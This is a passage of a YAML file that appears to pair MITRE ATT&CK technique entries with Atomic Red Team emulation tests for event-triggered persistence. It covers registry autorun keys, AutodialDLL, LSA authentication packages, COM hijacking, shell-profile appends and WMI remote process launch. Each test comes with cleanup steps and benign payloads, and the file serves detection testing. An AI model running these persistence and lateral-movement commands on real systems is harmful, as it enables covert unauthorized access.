          May 27, 2022.
        url: https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9
      - source_name: Varonis Power Automate Data Exfiltration
        description: Eric Saraga. (2022, February 2). Using Power Automate for Covert
          Data Exfiltration in Microsoft 365. Retrieved May 27, 2022.
        url: https://www.varonis.com/blog/power-automate-data-exfiltration
      - source_name: Malware Persistence on OS X
        description: Patrick Wardle. (2015). Malware Persistence on OS X Yosemite.
          Retrieved July 10, 2017.
        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1546
    atomic_tests:
    - name: Persistence with Custom AutodialDLL
      auto_generated_guid: aca9ae16-7425-4b6d-8c30-cad306fdbd5b
      description: "The DLL pointed to by the AutodialDLL registry key is loaded every
        time a process connects to the internet. Attackers can gain persistent code
        execution by setting this key to a DLL of their choice. \n\nThe sample dll
        provided, AltWinSock2DLL, will launch the notepad process. Starting and stopping
        a web browser such as MS Edge or Chrome should result in the dll executing.\n[Blog](https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/)\n"
      supported_platforms:
      - windows
      dependencies:
      - description: 'AltWinSock2DLL DLL must exist on disk at specified at PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll

          '
        prereq_command: 'if (Test-Path PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll)
          { exit 0} else { exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\T1546\bin\" -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546/bin/AltWinSock2DLL.dll" -OutFile "PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll"
      executor:
        command: 'Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters
          -Name AutodialDLL -Value PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll

          '
        cleanup_command: Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters
          -Name AutodialDLL -Value  $env:windir\system32\rasadhlp.dll
        name: powershell
        elevation_required: true
    - name: HKLM - Persistence using CommandProcessor AutoRun key (With Elevation)
      auto_generated_guid: a574dafe-a903-4cce-9701-14040f4f3532
      description: |-
        An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed.
        [reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433)
      supported_platforms:
      - windows
      input_arguments:
        command:
          description: Command to Execute
          type: string
          default: notepad.exe
      executor:
        command: New-ItemProperty -Path "HKLM:\Software\Microsoft\Command Processor"
          -Name "AutoRun" -Value "#{command}" -PropertyType "String"
        cleanup_command: Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Command
          Processor" -Name "AutoRun" -ErrorAction Ignore
        name: powershell
        elevation_required: true
    - name: HKCU - Persistence using CommandProcessor AutoRun key (Without Elevation)
      auto_generated_guid: 36b8dbf9-59b1-4e9b-a3bb-36e80563ef01
      description: |-
        An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed.
        [reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433)
      supported_platforms:
      - windows
      input_arguments:
        command:
          description: Command to Execute
          type: string
          default: notepad.exe
      executor:
        command: |-
          $path = "HKCU:\Software\Microsoft\Command Processor"
          if (!(Test-Path -path $path)){
            New-Item -ItemType Key -Path $path
          }
          New-ItemProperty -Path $path -Name "AutoRun" -Value "#{command}" -PropertyType "String"
        cleanup_command: Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Command
          Processor" -Name "AutoRun" -ErrorAction Ignore
        name: powershell
    - name: WMI Invoke-CimMethod Start Process
      auto_generated_guid: adae83d3-0df6-45e7-b2c3-575f91584577
      description: |
        The following Atomic will create a New-CimSession on a remote endpoint and start a process usnig Invoke-CimMethod.
        This is a novel way to perform lateral movement or to start a remote process.
        This does require WinRM to be enabled. The account performing the run will also need to be elevated.
        A successful execution will stdout that the process started. On the remote endpoint, wmiprvse.exe will spawn the given process.
      supported_platforms:
      - windows
      input_arguments:
        dest:
          description: destination computer name
          type: string
          default: localhost
        password:
          description: password for account
          type: string
          default: P@ssword1
        username:
          description: account to use
          type: string
          default: Administrator
        process:
          description: process to spawn
          type: string
          default: calc.exe
      executor:
        name: powershell
        elevation_required: true
        command: "# Set the remote computer name and credentials\n $RemoteComputer
          = \"#{dest}\"\n $PWord = ConvertTo-SecureString -String \"#{password}\"
          -AsPlainText -Force\n $Credential = New-Object -TypeName System.Management.Automation.PSCredential
          -ArgumentList \"#{username}\", $Pword\n\n # Create a CIM session\n $CimSession
          = New-CimSession -ComputerName $RemoteComputer -Credential $Credential\n\n
          # Define the process you want to start\n $ProcessToStart = \"#{process}\"\n\n
          # Invoke the Create method on the Win32_Process class to start the process\n
          $Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process
          -MethodName Create -Arguments @{CommandLine = $ProcessToStart}\n\n # Check
          the result\n if ($Result.ReturnValue -eq 0) {\n     Write-Host \"Process
          started successfully with Process ID: $($Result.ProcessId)\"\n } else {\n
          \    Write-Host \"Failed to start the process. Error code: $($Result.ReturnValue)\"\n
          }\n\n # Clean up the CIM session\n Remove-CimSession -CimSession $CimSession
          \n"
    - name: Adding custom debugger for Windows Error Reporting
      auto_generated_guid: 17d1a3cc-3373-495a-857a-e5dd005fb302
      description: |
        When applications hang, the Windows Error Reporting framework allows us to attach a debugger, if it is set up in the Registry.
        Adding executable of choice will let the executable to auto-execute when during any application crash due to functioning of WER framework
      supported_platforms:
      - windows
      executor:
        command: 'reg add "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs"
          /v Debugger /t REG_SZ /d "C:\Windows\System32\notepad.exe" /f

          '
        cleanup_command: 'reg delete "HKLM\Software\Microsoft\Windows\Windows Error
          Reporting\Hangs" /v Debugger /f

          '
        name: command_prompt
        elevation_required: true
  T1546.004:
    technique:
      x_mitre_platforms:
      - Linux
      - macOS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Robert Wilson
      - Tony Lambert, Red Canary
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2
      type: attack-pattern
      created: '2020-01-24T14:13:45.936Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1546.004
        url: https://attack.mitre.org/techniques/T1546/004
      - source_name: intezer-kaiji-malware
        url: https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/
        description: 'Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware
          turning to Golang. Retrieved December 17, 2020.'
      - source_name: bencane blog bashrc
        url: https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/
        description: Benjamin Cane. (2013, September 16). Understanding a little more
          about /etc/profile and /etc/bashrc. Retrieved February 25, 2021.
      - source_name: anomali-rocke-tactics
        url: https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect
        description: Anomali Threat Research. (2019, October 15). Illicit Cryptomining
          Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved
          December 17, 2020.
      - source_name: Linux manual bash invocation
        url: https://wiki.archlinux.org/index.php/Bash#Invocation
        description: ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021.
      - source_name: Tsunami
        url: https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/
        description: Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware
          Targets DVRs, Forms Botnet. Retrieved December 17, 2020.
      - source_name: anomali-linux-rabbit
        url: https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat
        description: Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot
          Malware Out of a Hat. Retrieved December 17, 2020.
      - source_name: Magento
        url: https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html
        description: Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection
          Vector. Retrieved December 17, 2020.
      - source_name: ScriptingOSX zsh
        url: https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/
        description: 'Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration
          Files. Retrieved February 25, 2021.'
      - source_name: PersistentJXA_leopitt
        url: https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5
        description: Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell
          for macOS. Retrieved January 11, 2021.
      - source_name: code_persistence_zsh
        url: https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js
        description: Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js.
          Retrieved January 11, 2021.
      - source_name: macOS MS office sandbox escape
        url: https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a
        description: Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump.
          Retrieved August 20, 2021.
      - source_name: ESF_filemonitor
        url: https://objective-see.com/blog/blog_0x48.html
        description: Patrick Wardle. (2019, September 17). Writing a File Monitor
          with Apple's Endpoint Security Framework. Retrieved December 17, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Event Triggered Execution: .bash_profile .bashrc and .shrc'
      description: "Adversaries may establish persistence through executing malicious
        commands triggered by a user’s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s
        execute several configuration scripts at different points throughout the session
        based on events. For example, when a user opens a command-line interface or
        remotely logs in (such as via SSH) a login shell is initiated. The login shell
        executes scripts from the system (<code>/etc</code>) and the user’s home directory
        (<code>~/</code>) to configure the environment. All login shells on a system
        use /etc/profile when initiated. These configuration scripts run at the permission
        level of their directory and are often used to set environment variables,
        create aliases, and customize the user’s environment. When the shell exits
        or terminates, additional shell scripts are executed to ensure the shell exits
        appropriately. \n\nAdversaries may attempt to establish persistence by inserting
        commands into scripts automatically executed by shells. Using bash as an example,
        the default shell for most GNU/Linux systems, adversaries may add commands
        that launch malicious binaries into the <code>/etc/profile</code> and <code>/etc/profile.d</code>
        files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These
        files typically require root permissions to modify and are executed each time
        any shell on a system launches. For user level permissions, adversaries can
        insert malicious commands into <code>~/.bash_profile</code>, <code>~/.bash_login</code>,
        or <code>~/.profile</code> which are sourced when a user opens a command-line
        interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation:
        Linux manual bash invocation) Since the system only executes the first existing
        file in the listed order, adversaries have used <code>~/.bash_profile</code>
        to ensure execution. Adversaries have also leveraged the <code>~/.bashrc</code>
        file which is additionally executed if the connection is established remotely
        or an additional interactive shell is opened, such as a new tab in the command-line
        interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation:
        Magento) Some malware targets the termination of a program to trigger execution,
        adversaries can use the <code>~/.bash_logout</code> file to execute malicious
        commands at the end of a session. \n\nFor macOS, the functionality of this
        technique is similar but may leverage zsh, the default shell for macOS 10.15+.
        When the Terminal.app is opened, the application launches a zsh login shell
        and a zsh interactive shell. The login shell configures the system environment
        using <code>/etc/profile</code>, <code>/etc/zshenv</code>, <code>/etc/zprofile</code>,
        and <code>/etc/zlogin</code>.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation:
        code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login
        shell then configures the user environment with <code>~/.zprofile</code> and
        <code>~/.zlogin</code>. The interactive shell uses the <code>~/.zshrc</code>
        to configure the user environment. Upon exiting, <code>/etc/zlogout</code>
        and <code>~/.zlogout</code> are executed. For legacy programs, macOS executes
        <code>/etc/bashrc</code> on startup."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_detection: "While users may customize their shell profile files, there
        are only certain types of commands that typically appear in these files. Monitor
        for abnormal commands such as execution of unknown programs, opening network
        sockets, or reaching out across the network when user profiles are loaded
        during the login process.\n\nMonitor for changes to <code>/etc/profile</code>
        and <code>/etc/profile.d</code>, these files should only be modified by system
        administrators. MacOS users can leverage Endpoint Security Framework file
        events monitoring these specific files.(Citation: ESF_filemonitor) \n\nFor
        most Linux and macOS systems, a list of file paths for valid shell options
        available on a system are located in the <code>/etc/shells</code> file.\n"
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'File: File Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - User
      - Administrator
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1546.004
    atomic_tests:
    - name: Add command to .bash_profile
      auto_generated_guid: 94500ae1-7e31-47e3-886b-c328da46872f
      description: 'Adds a command to the .bash_profile file of the current user

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        command_to_add:
          description: Command to add to the .bash_profile file
          type: string
          default: echo "Hello from Atomic Red Team T1546.004" > /tmp/T1546.004
      executor:
        command: 'echo ''#{command_to_add}'' >> ~/.bash_profile

          '
        cleanup_command: |
          head -n '-2' ~/.bash_profile > /tmp/T1546.004
          mv /tmp/T1546.004 ~/.bash_profile
        name: sh
    - name: Add command to .bashrc
      auto_generated_guid: 0a898315-4cfa-4007-bafe-33a4646d115f
      description: 'Adds a command to the .bashrc file of the current user

        '
      supported_platforms:
      - macos
      - linux
      input_arguments:
        command_to_add:
          description: Command to add to the .bashrc file
          type: string
          default: echo "Hello from Atomic Red Team T1546.004" > /tmp/T1546.004
      executor:
        command: 'echo ''#{command_to_add}'' >> ~/.bashrc

          '
        cleanup_command: |
          head -n '-2' ~/.bashrc > /tmp/T1546.004
          mv /tmp/T1546.004 ~/.bashrc
        name: sh
    - name: Add command to .shrc
      auto_generated_guid: 41502021-591a-4649-8b6e-83c9192aff53
      description: 'Adds a command to the .shrc file of the current user

        '
      supported_platforms:
      - linux
      input_arguments:
        command_to_add:
          description: Command to add to the .shrc file
          type: string
          default: echo "Hello from Atomic Red Team T1546.004" > /tmp/T1546.004
      executor:
        command: 'echo ''#{command_to_add}'' >> ~/.shrc

          '
        cleanup_command: |
          head -n '-2' ~/.shrc > /tmp/T1546.004
          mv /tmp/T1546.004 ~/.shrc
        name: sh
    - name: Append to the system shell profile
      auto_generated_guid: 694b3cc8-6a78-4d35-9e74-0123d009e94b
      description: 'An adversary may wish to establish persistence by executing malicious
        commands from the systems /etc/profile every time "any" user logs in.

        '
      supported_platforms:
      - linux
      input_arguments:
        text_to_append:
          description: Text to append to the /etc/profile file
          type: string
          default: "# Hello from Atomic Red Team T1546.004"
      executor:
        elevation_required: true
        name: sh
        command: 'echo ''#{text_to_append}'' >> /etc/profile

          '
        cleanup_command: 'sed -i "s/# Atomic Red Team was here! T1546.004//" /etc/profile

          '
    - name: Append commands user shell profile
      auto_generated_guid: bbdb06bc-bab6-4f5b-8232-ba3fbed51d77
      description: 'An adversary may wish to establish persistence by executing malicious
        commands from the users ~/.profile every time the "user" logs in.

        '
      supported_platforms:
      - linux
      input_arguments:
        text_to_append:
          description: Text to append to the ~/.profile file
          type: string
          default: "# Atomic Red Team was here... T1546.004"
      executor:
        elevation_required: false
        name: sh
        command: 'echo ''#{text_to_append}'' >> ~/.profile

          '
        cleanup_command: 'sed -i "s/# Atomic Red Team was here... T1546.004//" ~/.profile

          '
    - name: System shell profile scripts
      auto_generated_guid: 8fe2ccfd-f079-4c03-b1a9-bd9b362b67d4
      description: 'An adversary may wish to establish persistence by adding commands
        into any of the script files in the /etc/profile.d/ directory, which are executed
        every time "any" user logs in.

        '
      supported_platforms:
      - linux
      input_arguments:
        text_to_append:
          description: Text to append to the /etc/profile.d/bash_completion.sh file
          type: string
          default: "# Atomic Red Team was here... T1546.004"
      executor:
        elevation_required: true
        name: sh
        command: 'echo ''#{text_to_append}'' >> /etc/profile.d/bash_completion.sh

          '
        cleanup_command: 'sed -i "s/# Atomic Red Team was here... T1546.004//" /etc/profile.d/bash_completion.sh

          '
    - name: Create/Append to .bash_logout
      auto_generated_guid: 37ad2f24-7c53-4a50-92da-427a4ad13f58
      description: "The Bash shell runs ~/.bash_logout \"if it exists\" to run commands
        on user logout. An adversary may create or append to a .bash_logout to clear
        history, start processes etc. Note the ~/.bash_logout is only run if you explicitly
        exit or log out of an \"interactive login shell session\" i.e. via the console,
        SSH, /bin/bash -l or su -l <username>. \n\nThis test creates the art user,
        logs in, creates a .bash_logout which will echo some text into the art.txt
        file on logout and logs out and the /home/art/art.txt is created.\n"
      supported_platforms:
      - linux
      executor:
        name: bash
        elevation_required: true
        command: |
          useradd --create-home --shell /bin/bash art
          su --login art
          echo 'echo "Atomic Red Team was here... T1546.004" >> $HOME/art.txt' >> $HOME/.bash_logout
        cleanup_command: 'userdel -fr art

          '
  T1547.002:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec
      created: '2020-01-24T14:54:42.757Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1547.002
        url: https://attack.mitre.org/techniques/T1547/002
      - source_name: Graeber 2014
        url: http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html
        description: Graeber, M. (2014, October). Analysis of Malicious Security Support
          Provider DLLs. Retrieved March 1, 2017.
      - source_name: Microsoft Configure LSA
        url: https://technet.microsoft.com/en-us/library/dn408187.aspx
        description: Microsoft. (2013, July 31). Configuring Additional LSA Protection.
          Retrieved June 24, 2015.
      - source_name: MSDN Authentication Packages
        url: https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx
        description: Microsoft. (n.d.). Authentication Packages. Retrieved March 1,
          2017.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)

        Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\SYSTEM\CurrentControlSet\Control\Lsa\</code> with the key value of <code>"Authentication Packages"=&lt;target binary&gt;</code>. The binary will then be executed by the system when the authentication packages are loaded.
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Authentication Package
      x_mitre_detection: 'Monitor the Registry for changes to the LSA Registry keys.
        Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012
        R2 may generate events when unsigned DLLs try to load into the LSA by setting
        the Registry key <code>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image
        File Execution Options\LSASS.exe</code> with AuditLevel = 8. (Citation: Graeber
        2014) (Citation: Microsoft Configure LSA)'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Module: Module Load'
      x_mitre_permissions_required:
      - Administrator
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1547.002
    atomic_tests:
    - name: Authentication Package
      auto_generated_guid: be2590e8-4ac3-47ac-b4b5-945820f2fbe9
      description: |
        Establishes persistence using a custom authentication package for the Local Security Authority (LSA).
        After a reboot, Notepad.exe will be executed as child process of lsass.exe.
        Payload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.002/package
        [Related blog](https://pentestlab.blog/2019/10/21/persistence-security-support-provider/)
      supported_platforms:
      - windows
      executor:
        command: |
          Copy-Item "$PathToAtomicsFolder\T1547.002\bin\package.dll" C:\Windows\System32\
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" /t REG_MULTI_SZ /d "msv1_0\0package.dll" /f
        cleanup_command: |
          reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa" /v "Authentication Packages" /t REG_MULTI_SZ /d "msv1_0" /f
          rm -force C:\windows\system32\package.dll
        name: powershell
        elevation_required: true
  T1546.015:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Event Triggered Execution: Component Object Model Hijacking'
      description: "Adversaries may establish persistence by executing malicious content
        triggered by hijacked references to Component Object Model (COM) objects.
        COM is a system within Windows to enable interaction between software components
        through the operating system.(Citation: Microsoft Component Object Model)
        \ References to various COM objects are stored in the Registry. \n\nAdversaries
        can use the COM system to insert malicious code that can be executed in place
        of legitimate software through hijacking the COM references and relationships
        as a means for persistence. Hijacking a COM object requires a change in the
        Registry to replace a reference to a legitimate system component which may
        cause that component to not work when executed. When that system component
        is executed through normal system operation the adversary's code will be executed
        instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects
        that are used frequently enough to maintain a consistent level of persistence,
        but are unlikely to break noticeable functionality within the system as to
        avoid system instability that could lead to detection. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Elastic
      x_mitre_deprecated: false
      x_mitre_detection: "There are opportunities to detect COM hijacking by searching
        for Registry references that have been replaced and through Registry operations
        (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary
        paths with unknown paths or otherwise malicious content. Even though some
        third-party applications define user COM objects, the presence of objects
        within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and
        should be investigated since user objects will be loaded prior to machine
        objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\.(Citation: Elastic
        COM Hijacking) Registry entries for existing COM objects may change infrequently.
        When an entry with a known good path and binary is replaced or changed to
        an unusual value to point to an unknown binary in a new location, then it
        may indicate suspicious behavior and should be investigated.  \n\nLikewise,
        if software DLL loads are collected and analyzed, any unusual DLL load that
        can be correlated with a COM object Registry modification may indicate COM
        hijacking has been performed. "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Module: Module Load'
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      type: attack-pattern
      id: attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae
      created: '2020-03-16T14:12:47.923Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1546/015
        external_id: T1546.015
      - source_name: Elastic COM Hijacking
        description: 'Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting
          Persistence & Evasion with the COM. Retrieved September 15, 2016.'
        url: https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com
      - source_name: GDATA COM Hijacking
        description: 'G DATA. (2014, October). COM Object hijacking: the discreet
          way of persistence. Retrieved August 13, 2016.'
        url: https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
      - source_name: Microsoft Component Object Model
        description: Microsoft. (n.d.). The Component Object Model. Retrieved August
          18, 2016.
        url: https://msdn.microsoft.com/library/ms694363.aspx
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1546.015
    atomic_tests:
    - name: COM Hijacking - InprocServer32
      auto_generated_guid: 48117158-d7be-441b-bc6a-d9e36e47b52b
      description: |-
        This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe.

        Reference: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/
      supported_platforms:
      - windows
      input_arguments:
        clsid_threading:
          description: Threading Model
          type: string
          default: Apartment
        dllpath:
          description: Path to the DLL.
          type: string
          default: PathToAtomicsFolder\..\ExternalPayloads\AtomicTest.dll
        clsid:
          description: Class ID to hijack.
          type: string
          default: "{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}"
        clsid_description:
          description: Description for CLSID
          type: string
          default: MSAA AccPropServices
      dependency_executor_name: powershell
      dependencies:
      - description: DLL For testing
        prereq_command: if (Test-Path "#{dllpath}") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/AtomicTest.dll" -OutFile "#{dllpath}"
      executor:
        command: |-
          New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}'
          New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value "#{dllpath}"
          New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType "String"
          Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-sta #{clsid}'
        cleanup_command: Remove-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}'
          -Recurse -ErrorAction Ignore
        name: powershell
    - name: Powershell Execute COM Object
      auto_generated_guid: 752191b1-7c71-445c-9dbe-21bb031b18eb
      description: |-
        Use the PowerShell to execute COM CLSID object.
        Reference: https://pentestlab.blog/2020/05/20/persistence-com-hijacking/
      supported_platforms:
      - windows
      executor:
        command: |
          $o= [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39"))
          $item = $o.Item()
          $item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\windows\system32",$null,0)
        cleanup_command: 'Get-Process -Name "*calc" | Stop-Process

          '
        name: powershell
    - name: COM Hijacking with RunDLL32 (Local Server Switch)
      auto_generated_guid: 123520cc-e998-471b-a920-bd28e3feafa0
      description: "This test uses PowerShell to hijack a reference to a Component
        Object Model by creating registry values under InprocServer32 key in the HKCU
        hive then calling the Class ID to be executed via \"rundll32.exe -localserver
        [clsid]\". \nThis method is generally used as an alternative to 'rundll32.exe
        -sta [clsid]' to execute dll's while evading detection. \nReference: https://www.hexacorn.com/blog/2020/02/13/run-lola-bin-run/\nUpon
        successful execution of this test with the default options, whenever certain
        apps are opened (for example, Notepad), a calculator window will also be opened. "
      supported_platforms:
      - windows
      input_arguments:
        clsid_threading:
          description: Threading Model
          type: string
          default: Both
        dll_path:
          description: Path to the DLL.
          type: string
          default: PathToAtomicsFolder\..\ExternalPayloads\T1546.015_calc.dll
        clsid:
          description: Class ID to hijack.
          type: string
          default: "{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}"
        clsid_description:
          description: Description for CLSID
          type: string
          default: MSAA AccPropServices
      dependency_executor_name: powershell
      dependencies:
      - description: DLL For testing
        prereq_command: if (Test-Path "#{dll_path}") {exit 0} else {exit 1}
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/T1546.015_calc.dll" -OutFile "#{dll_path}"
      executor:
        command: |-
          New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}' -Value '#{clsid_description}'
          New-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Value "#{dll_path}"
          New-ItemProperty -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType "String"
          Start-Process -FilePath "C:\Windows\System32\RUNDLL32.EXE" -ArgumentList '-localserver #{clsid}'
        cleanup_command: Remove-Item -Path 'HKCU:\SOFTWARE\Classes\CLSID\#{clsid}'
          -Recurse -ErrorAction Ignore
        name: powershell
    - name: COM hijacking via TreatAs
      auto_generated_guid: 33eacead-f117-4863-8eb0-5c6304fbfaa9
      description: |-
        This test first create a custom CLSID class pointing to the Windows Script Component runtime DLL. This DLL looks for the ScriptletURL key to get the location of the script to execute.
        Then, it hijacks the CLSID for the Work Folders Logon Synchronization to establish persistence on user logon by creating the 'TreatAs' with the malicious CLSID as default value. The
        test is validated by running 'rundll32.exe -sta "AtomicTest"' to avoid logging out.

        References:

        https://youtu.be/3gz1QmiMhss?t=1251

        https://github.com/enigma0x3/windows-operating-system-archaeology
      supported_platforms:
      - windows
      executor:
        command: "reg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest\" /ve
